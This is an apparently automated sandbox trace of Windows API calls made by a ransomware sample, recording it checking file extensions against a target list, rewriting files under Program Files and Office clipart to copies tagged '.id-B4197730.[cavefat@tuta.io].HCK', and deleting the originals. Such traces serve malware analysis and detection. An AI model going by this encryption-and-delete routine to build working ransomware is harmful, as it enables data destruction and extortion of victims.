[0224.766] lstrlenW (lpString=".7z") returned 3 [0224.766] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0224.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0224.766] lstrlenW (lpString=".dbf") returned 4 [0224.766] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0224.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0224.766] lstrlenW (lpString=".1cd") returned 4 [0224.766] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0224.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0224.766] lstrlenW (lpString=".jpg") returned 4 [0224.766] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0224.766] lstrcmpiW (lpString1=".avi", lpString2=".HCK") returned -1 [0224.766] lstrlenW (lpString="boxed-join.avi") returned 14 [0224.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0224.768] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=46622) returned 1 [0224.768] CloseHandle (hObject=0x3e4) returned 1 [0224.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0224.768] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0224.768] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0224.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0224.768] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0224.768] lstrlenW (lpString=".doc") returned 4 [0224.769] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0224.769] lstrlenW (lpString=".docx") returned 5 [0224.769] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0224.769] lstrlenW (lpString=".pdf") returned 4 [0224.769] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0224.769] lstrlenW (lpString=".xls") returned 4 [0224.769] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0224.769] lstrlenW (lpString=".xlsx") returned 5 [0224.769] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0224.769] lstrlenW (lpString=".ppt") returned 4 [0224.769] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0224.769] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned 71 [0224.769] lstrlenW (lpString=".zip") returned 4 [0224.769] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0224.769] lstrlenW (lpString=".rar") returned 4 [0224.769] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0224.769] lstrlenW (lpString=".bz2") returned 4 [0224.769] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0224.769] lstrlenW (lpString=".7z") returned 3 [0224.769] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0224.774] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0224.906] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0224.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0227.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0227.082] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.082] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0227.083] GetLastError () returned 0x0 [0227.083] ReadFile (in: hFile=0x4ac, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x375e, lpOverlapped=0x0) returned 1 [0227.093] WriteFile (in: hFile=0x498, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x3760, lpOverlapped=0x0) returned 1 [0227.094] ReadFile (in: hFile=0x4ac, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0227.094] WriteFile (in: hFile=0x498, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0227.094] SetEndOfFile (hFile=0x498) returned 1 [0227.094] CloseHandle (hObject=0x498) returned 1 [0227.094] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.094] SetEndOfFile (hFile=0x4ac) returned 1 [0227.096] CloseHandle (hObject=0x4ac) returned 1 [0227.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0227.097] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 1 [0227.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0227.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0227.097] lstrlenW (lpString=".doc") returned 4 [0227.097] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.098] lstrlenW (lpString=".docx") returned 5 [0227.098] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0227.098] lstrlenW (lpString=".pdf") returned 4 [0227.098] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.098] lstrlenW (lpString=".xls") returned 4 [0227.098] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.098] lstrlenW (lpString=".xlsx") returned 5 [0227.098] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0227.098] lstrlenW (lpString=".ppt") returned 4 [0227.098] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0227.098] lstrlenW (lpString=".zip") returned 4 [0227.098] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.098] lstrlenW (lpString=".rar") returned 4 [0227.098] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.098] lstrlenW (lpString=".bz2") returned 4 [0227.098] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.098] lstrlenW (lpString=".7z") returned 3 [0227.098] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0227.098] lstrlenW (lpString=".dbf") returned 4 [0227.098] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0227.098] lstrlenW (lpString=".1cd") returned 4 [0227.098] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0227.098] lstrlenW (lpString=".jpg") returned 4 [0227.098] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0227.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0227.098] lstrlenW (lpString=".doc") returned 4 [0227.098] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.098] lstrlenW (lpString=".docx") returned 5 [0227.098] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0227.098] lstrlenW (lpString=".pdf") returned 4 [0227.098] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.098] lstrlenW (lpString=".xls") returned 4 [0227.098] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.098] lstrlenW (lpString=".xlsx") returned 5 [0227.098] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0227.098] lstrlenW (lpString=".ppt") returned 4 [0227.098] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0227.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0227.098] lstrlenW (lpString=".zip") returned 4 [0227.098] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0227.098] lstrlenW (lpString=".rar") returned 4 [0227.098] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0227.098] lstrlenW (lpString=".bz2") returned 4 [0227.098] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0227.098] lstrlenW (lpString=".7z") returned 3 [0227.098] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0227.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0227.099] lstrlenW (lpString=".dbf") returned 4 [0227.099] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0227.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0227.099] lstrlenW (lpString=".1cd") returned 4 [0227.099] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0227.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68 [0227.099] lstrlenW (lpString=".jpg") returned 4 [0227.099] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0227.099] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0227.099] lstrlenW (lpString="J0099157.JPG") returned 12 [0227.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0227.100] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=9671) returned 1 [0227.100] CloseHandle (hObject=0x4ac) returned 1 [0227.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 0x220 [0227.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0227.100] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.100] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0227.101] GetLastError () returned 0x0 [0227.101] ReadFile (in: hFile=0x4ac, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x25c7, lpOverlapped=0x0) returned 1 [0227.102] WriteFile (in: hFile=0x498, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x25d0, lpOverlapped=0x0) returned 1 [0227.103] ReadFile (in: hFile=0x4ac, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0227.103] WriteFile (in: hFile=0x498, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0227.103] SetEndOfFile (hFile=0x498) returned 1 [0227.103] CloseHandle (hObject=0x498) returned 1 [0227.103] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.103] SetEndOfFile (hFile=0x4ac) returned 1 [0227.105] CloseHandle (hObject=0x4ac) returned 1 [0227.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0227.106] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099157.jpg")) returned 1 [0227.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0227.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0227.106] lstrlenW (lpString=".doc") returned 4 [0227.106] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0227.106] lstrlenW (lpString=".docx") returned 5 [0227.106] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0227.106] lstrlenW (lpString=".pdf") returned 4 [0227.106] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0227.106] lstrlenW (lpString=".xls") returned 4 [0227.106] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0227.106] lstrlenW (lpString=".xlsx") returned 5 [0227.106] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0227.106] lstrlenW (lpString=".ppt") returned 4 [0227.106] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0227.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0227.107] lstrlenW (lpString=".zip") returned 4 [0227.107] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0227.107] lstrlenW (lpString=".rar") returned 4 [0227.107] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0227.107] lstrlenW (lpString=".bz2") returned 4 [0227.107] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0227.107] lstrlenW (lpString=".7z") returned 3 [0227.107] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0227.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0227.107] lstrlenW (lpString=".dbf") returned 4 [0227.107] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0227.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0227.107] lstrlenW (lpString=".1cd") returned 4 [0227.107] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0227.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0227.107] lstrlenW (lpString=".jpg") returned 4 [0227.107] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0227.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0227.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0227.107] lstrlenW (lpString=".doc") returned 4 [0227.107] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0227.107] lstrlenW (lpString=".docx") returned 5 [0227.107] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0227.107] lstrlenW (lpString=".pdf") returned 4 [0227.107] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0227.107] lstrlenW (lpString=".xls") returned 4 [0227.107] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0227.107] lstrlenW (lpString=".xlsx") returned 5 [0227.107] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0227.107] lstrlenW (lpString=".ppt") returned 4 [0227.107] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0227.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0227.107] lstrlenW (lpString=".zip") returned 4 [0227.107] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0227.107] lstrlenW (lpString=".rar") returned 4 [0227.107] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0227.107] lstrlenW (lpString=".bz2") returned 4 [0227.107] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0227.107] lstrlenW (lpString=".7z") returned 3 [0227.107] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0227.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0227.107] lstrlenW (lpString=".dbf") returned 4 [0227.107] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0227.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0227.107] lstrlenW (lpString=".1cd") returned 4 [0227.107] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0227.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099157.JPG") returned 68 [0227.107] lstrlenW (lpString=".jpg") returned 4 [0227.107] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0227.108] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0227.108] lstrlenW (lpString="J0099158.WMF") returned 12 [0227.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0227.108] GetFileSizeEx (in: hFile=0x4ac, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=26160) returned 1 [0227.108] CloseHandle (hObject=0x4ac) returned 1 [0227.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 0x220 [0227.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0227.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0227.109] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.109] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498 [0227.109] GetLastError () returned 0x0 [0227.109] ReadFile (in: hFile=0x4ac, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x6630, lpOverlapped=0x0) returned 1 [0227.111] WriteFile (in: hFile=0x498, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x6640, lpOverlapped=0x0) returned 1 [0227.113] ReadFile (in: hFile=0x4ac, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0227.113] WriteFile (in: hFile=0x498, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0227.113] SetEndOfFile (hFile=0x498) returned 1 [0227.113] CloseHandle (hObject=0x498) returned 1 [0227.113] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0227.113] SetEndOfFile (hFile=0x4ac) returned 1 [0227.514] CloseHandle (hObject=0x4ac) returned 1 [0227.514] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0227.515] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 1 [0227.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0227.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0227.515] lstrlenW (lpString=".doc") returned 4 [0227.515] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0227.515] lstrlenW (lpString=".docx") returned 5 [0227.515] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0227.515] lstrlenW (lpString=".pdf") returned 4 [0227.515] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0227.515] lstrlenW (lpString=".xls") returned 4 [0227.515] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0227.515] lstrlenW (lpString=".xlsx") returned 5 [0227.515] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0227.515] lstrlenW (lpString=".ppt") returned 4 